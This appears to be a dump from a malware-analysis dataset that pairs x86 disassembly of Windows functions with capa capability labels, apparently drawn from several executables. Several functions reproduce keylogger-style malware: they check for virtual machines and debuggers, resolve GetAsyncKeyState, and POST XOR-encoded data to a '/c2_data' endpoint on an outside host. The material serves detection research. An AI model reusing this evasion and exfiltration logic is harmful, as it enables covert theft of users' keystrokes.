joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Encode data using xor
Encrypt data using blowfish

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movups xmm0, xmmword [0x4052f0]
push ebx
push esi
mov esi, ecx
push edi
push 0x1000
push 0x405338
movups xmmword [esi], xmm0
lea eax, [esi + 0x48]
mov dword [ebp - 0x10], esi
movups xmm0, xmmword [0x405300]
push eax
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [0x405310]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [0x405320]
movups xmmword [esi + 0x30], xmm0
movq xmm0, qword [0x405330]
movq qword [esi + 0x40], xmm0
call sub.msvcrt.dll_memcpy
mov edi, dword [ebp + 0xc]
add esp, 0xc
mov ecx, edi
mov ebx, 4
and ecx, 0x80000003
jns 0x401075
dec ecx
or ecx, 0xfffffffc
add ecx, 1
je 0x401084
mov eax, ebx
mov ebx, ecx
cdq
idiv ecx
mov ecx, edx
test ecx, ecx
jne 0x401077
mov eax, edi
xor ecx, ecx
cdq
idiv ebx
mov edx, 4
mov dword [ebp - 0xc], eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004023b3
mov ebx, eax
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], ebx
test eax, eax
jle 0x401109
mov ebx, dword [ebp + 8]
mov ecx, 2
mov esi, dword [ebp - 8]
mov dword [ebp - 4], eax
nop
lea eax, [ecx - 2]
cdq
idiv edi
movzx eax, byte [edx + ebx]
mov byte [ebp + 0xf], al
lea eax, [ecx - 1]
cdq
idiv edi
movzx eax, byte [edx + ebx]
mov byte [ebp + 0xe], al
mov eax, ecx
cdq
idiv edi
movzx eax, byte [edx + ebx]
mov byte [ebp + 0xd], al
lea eax, [ecx + 1]
cdq
idiv edi
movzx eax, byte [edx + ebx]
mov byte [ebp + 0xc], al
mov eax, dword [ebp + 0xc]
mov dword [ecx + esi - 2], eax
add ecx, 4
sub dword [ebp - 4], 1
jne 0x4010c0
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
lea ecx, [esi + 8]
mov esi, 2
lea eax, [esi - 2]
cdq
lea ecx, [ecx + 0x18]
idiv edi
mov eax, dword [ebx + edx*4]
xor dword [ecx - 0x20], eax
lea eax, [esi - 1]
cdq
idiv edi
mov eax, dword [ebx + edx*4]
xor dword [ecx - 0x1c], eax
mov eax, esi
cdq
idiv edi
mov eax, dword [ebx + edx*4]
xor dword [ecx - 0x18], eax
lea eax, [esi + 1]
cdq
idiv edi
mov eax, dword [ebx + edx*4]
xor dword [ecx - 0x14], eax
lea eax, [esi + 2]
cdq
idiv edi
mov eax, dword [ebx + edx*4]
xor dword [ecx - 0x10], eax
lea eax, [esi + 3]
cdq
add esi, 6
idiv edi
mov eax, dword [ebx + edx*4]
xor dword [ecx - 0xc], eax
lea eax, [esi - 2]
cmp eax, 0x12
jl 0x401114
push ebx
call fcn.004023ae
mov esi, dword [ebp - 0x10]
add esp, 4
mov dword [ebp + 0xc], 0
xor edi, edi
mov dword [ebp + 8], 0
lea eax, [ebp + 8]
mov ecx, esi
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.004011e0
mov eax, dword [ebp + 0xc]
mov dword [esi + edi*8], eax
mov eax, dword [ebp + 8]
mov dword [esi + edi*8 + 4], eax
inc edi
cmp edi, 9
jl 0x401185
lea edi, [esi + 0x4c]
mov ebx, 0x200
nop
lea eax, [ebp + 8]
mov ecx, esi
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.004011e0
mov eax, dword [ebp + 0xc]
lea edi, [edi + 8]
mov dword [edi - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [edi - 8], eax
sub ebx, 1
jne 0x4011b0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4011e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, ecx
xor edi, edi
nop dword [eax]
mov eax, dword [ebp + 8]
mov edx, dword [esi + edi*4]
inc edi
xor edx, dword [eax]
mov eax, edx
mov ecx, edx
shr eax, 0x10
movzx eax, al
shr ecx, 0x18
mov eax, dword [esi + eax*4 + 0x448]
add eax, dword [esi + ecx*4 + 0x48]
mov ecx, edx
shr ecx, 8
movzx ecx, cl
xor eax, dword [esi + ecx*4 + 0x848]
movzx ecx, dl
add eax, dword [esi + ecx*4 + 0xc48]
mov ecx, dword [ebp + 8]
xor eax, dword [ebx]
mov dword [ebx], edx
mov dword [ecx], eax
cmp edi, 0x10
jl 0x4011f0
mov ecx, dword [esi + 0x40]
xor ecx, eax
mov eax, dword [esi + 0x44]
mov dword [ebx], ecx
xor eax, edx
mov ecx, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword [ecx], eax
pop ebp
ret 8

Function at 0x4014d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x401500
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401500
mov ecx, dword [eax + 0x3c]
cmp ecx, 0x400
jg 0x401500
add eax, ecx
xor ecx, ecx
cmp dword [eax], 0x4550
cmovne eax, ecx
pop ebp
ret 4
xor eax, eax
pop ebp
ret 4
Function at 0x401eb0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push esi
push edi
mov dword [ecx + 0x1384], 0xffffffff
lea edi, [ecx + 8]
mov dword [ecx + 4], edx
mov esi, 1
nop dword [eax]
mov eax, edx
lea edi, [edi + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, esi
inc esi
mov dword [edi - 4], edx
cmp esi, 0x270
jb 0x401ed0
pop edi
pop esi
mov dword [ecx], 0x270
mov eax, ecx
pop ebp
ret 0xc

Function at 0x402020
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
mov eax, dword [esi]
cmp eax, 0x270
jne 0x40207d
lea edx, [esi + 8]
mov edi, eax
nop dword [eax]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x402040
mov eax, dword [esi]
jmp 0x40215b
cmp eax, 0x4e0
jb 0x40215b
lea edi, [esi + 0x9c4]
mov esi, 0xe3
push ebx
mov ebx, dword [edi]
lea edx, [edi]
mov eax, ebx
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, ebx
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x634]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x402096
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edx, [edi]
mov ebx, dword [edx + 4]
lea edi, [edx + 4]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx - 0xd4c]
xor eax, ecx
mov dword [edx - 0x9c0], eax
sub esi, 1
jne 0x4020e1
mov esi, dword [ebp - 4]
pop ebx
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
xor eax, eax
mov dword [esi], 0
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
pop edi
xor eax, edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402c70
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402caf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402caf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402caf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402caf
cmp dword [ecx + 0x74], 0xe
jbe 0x402caf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x403230
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x403257
mov ecx, 5
int 0x29
push 2
call fcn.00402d14
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x403362
test esi, esi
jne 0x403362
push 2
call fcn.00402d14
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004023a0
mov esp, ebp
pop ebp
ret

Function at 0x4036c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.004036f0
mov esi, dword [ebp + 8]
test al, al
je 0x4036de
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.00403700
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x403830
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40388c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40388c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40388c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40388c
cmp dword [ecx + 0x74], 0xe
jbe 0x40388c
cmp dword [ecx + 0xe8], 0
je 0x40388c
push dword [ebp + 8]
call fcn.00403700
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x408520
call fcn.004034d0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x4038c1
push dword [ebp + 8]
call fcn.004036c0
mov esp, ebp
pop ebp
ret
Function at 0x403900
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40395c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40395c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40395c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40395c
cmp dword [ecx + 0x74], 0xe
jbe 0x40395c
cmp dword [ecx + 0xe8], 0
je 0x40395c
push dword [ebp + 8]
call fcn.00403700
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x408520
call fcn.004034d0
add esp, 8
cmp dword [ebp - 8], 0
jne 0x403991
push dword [ebp + 8]
call fcn.004036c0
mov esp, ebp
pop ebp
ret

Function at 0x4039a0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x4039ca
mov eax, 2
pop ebp
ret
push esi
call fcn.00403080
mov esi, eax
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x70]
mov ecx, edx
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
inc eax
cmp eax, 3
ja case.default.0x4039ea
jmp dword [eax*4 + 0x403a20]
or edx, 2
lea eax, [ecx + 2]
mov dword [esi + 0x70], edx
pop esi
pop ebp
ret
and edx, 0xfffffffd
mov dword [esi + 0x70], edx
lea eax, [ecx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.004031c0
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401038
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x112c
call fcn.004024d0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1128], eax
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0x18], str.vmware.exe
push eax
push 0x1000
lea eax, [esp + 0x3c]
mov dword [esp + 0x24], str.vboxservice.exe
push eax
mov dword [esp + 0x2c], str.vboxtray.exe
mov dword [esp + 0x30], str.vmtoolsd.exe
mov dword [esp + 0x34], str.vmcompute.exe
mov dword [esp + 0x38], str.vmmem.exe
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x40115a
mov ebx, dword [esp + 0x10]
xor ebp, ebp
shr ebx, 2
test ebx, ebx
je 0x40115a
cmp dword [esp + ebp*4 + 0x34], 0
je 0x401151
mov esi, str._unknown_
lea edi, [esp + 0x1034]
push 0xfa
lea eax, [esp + 0x1042]
push 0
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push dword [esp + ebp*4 + 0x34]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40112a
lea eax, [esp + 0x30]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x40112a
push 0x104
lea eax, [esp + 0x1038]
push eax
push dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
xor edi, edi
push dword [esp + edi*4 + 0x18]
lea eax, [esp + 0x1038]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x401175
inc edi
cmp edi, 6
jb 0x40112c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebp
cmp ebp, ebx
jb 0x4010b2
xor eax, eax
mov ecx, dword [esp + 0x1138]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040161f
add esp, 0x112c
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x40115c
Function at 0x401181
Capabilities:
Connect to http server
Create http request
Encode data using xor
Send data
Send http request

Disassembly:
sub esp, 0x498
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x494], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4012fe
call fcn.00401038
test eax, eax
jne 0x4012fe
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [esp + 0xc], esi
test esi, esi
je 0x4012dd
push edi
push ebx
push ebx
push 3
pop eax
push eax
push ebx
push ebx
push 0x1bb
push str.tdsoperational.pythonanywhere.com
push esi
mov dword [esp + 0x34], eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x4012d7
push ebp
xor eax, eax
push eax
push 0x800000
push eax
push eax
push eax
push str._c2_data
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x4012d3
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
pop ecx
push 3
xor ebx, ebx
pop esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0x1a
cdq
pop ecx
idiv ecx
add dl, 0x41
mov byte [esp + ebx + 0x10], dl
inc ebx
cmp ebx, esi
jl 0x401239
push 0x404400
mov byte [esp + 0x17], 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
mov esi, dword [esp + 0x18]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ecx
xor ecx, ecx
mov dword [esp + 0x1c], eax
test eax, eax
jle 0x401295
mov ebx, eax
xor edx, edx
mov eax, ecx
div dword [esp + 0x18]
mov al, byte [esp + edx + 0x10]
xor byte [ecx + 0x404400], al
inc ecx
cmp ecx, ebx
jl 0x401278
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [esp + 0x10]
push eax
push 0x404400
lea eax, [esp + 0x2c]
push str._content_:__s____key_:__s_
push eax
call fcn.00401006
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
add esp, 0x14
push eax
lea eax, [esp + 0x28]
push eax
push 0xffffffffffffffff
push str.Content_Type:_application_json_r_nUser_Agent:_TLD9Browser_2.0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebp
call ebx
push edi
call ebx
pop ebp
push esi
call ebx
xor ebx, ebx
pop edi
mov esi, 0x4043e0
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [0x4043c0], ebx
mov byte [0x404400], bl
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
mov ecx, dword [esp + 0x494]
xor ecx, esp
call fcn.0040161f
add esp, 0x498
ret
Function at 0x4015bf
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
push str.GetAsyncKeyState
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, 0x4043e0
mov dword [0x4043f8], eax
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 8]
push eax
xor eax, eax
push eax
push eax
push 0x401313
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret

Function at 0x401efc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401f3b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401f3b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401f3b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401f3b
cmp dword [ecx + 0x74], 0xe
jbe 0x401f3b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x403585
Capabilities:
Terminate process

Disassembly:
jmp 0x459504
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x459515
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405835
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x4036a2
Capabilities:
Query environment variable

Disassembly:
jmp 0x4a24e1
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4a24f2
pop esi
ret
push ebx
push edi
push esi
call fcn.004a23c8
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403f5d
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4a251a
push ebx
push esi
push edi
call fcn.00405628
add esp, 0xc
push 0
call fcn.0040615e
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4056e6
Capabilities:
Parse pe header

Disassembly:
jmp 0x4486e0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x44871f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44871f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44871f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x44871f
cmp dword [ecx + 0x74], 0xe
jbe 0x44871f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44639b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.00403706
mov eax, dword [eax + 0x14]
test eax, eax
je 0x4463de
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push 2
push ecx
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x4463de
sub eax, 1
je 0x4463d9
sub eax, 1
je 0x4463d5
xor eax, eax
leave
ret
push 3
jmp 0x4463e0
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x48d2b5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x48d2f4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x48d2f4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x48d2f4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x48d2f4
cmp dword [ecx + 0x74], 0xe
jbe 0x48d2f4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x49c286
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401d70
mov eax, dword [0x4d2040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00405d80
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x49c2c8
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x49c424
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00405eca
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4d5860]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.00403229
mov ecx, dword [esi*4 + 0x4d5860]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x49c41d
cmp eax, dword [ecx + edi + 0x24]
jne 0x49c41d
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49c41d
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00403229
add esp, 0x14
test edx, edx
jl 0x49c41d
jg 0x49c393
test eax, eax
jb 0x49c41d
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x49c41d
jl 0x49c3ad
cmp dword [ebp - 0x1008], eax
ja 0x49c41d
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x49c3cb
test ebx, ebx
je 0x49c404
cmp ecx, edi
jae 0x49c404
mov al, byte [ecx]
cmp al, 0xd
jne 0x49c3e5
lea eax, [edi - 1]
cmp ecx, eax
jae 0x49c3f1
cmp byte [ecx + 1], 0xa
jne 0x49c3f1
inc ecx
jmp 0x49c3f1
movzx eax, al
movsx eax, byte [eax + 0x4d23a8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x49c3cb
cmp edx, ebx
jne 0x49c3cb
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x49c422
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040300d
leave
ret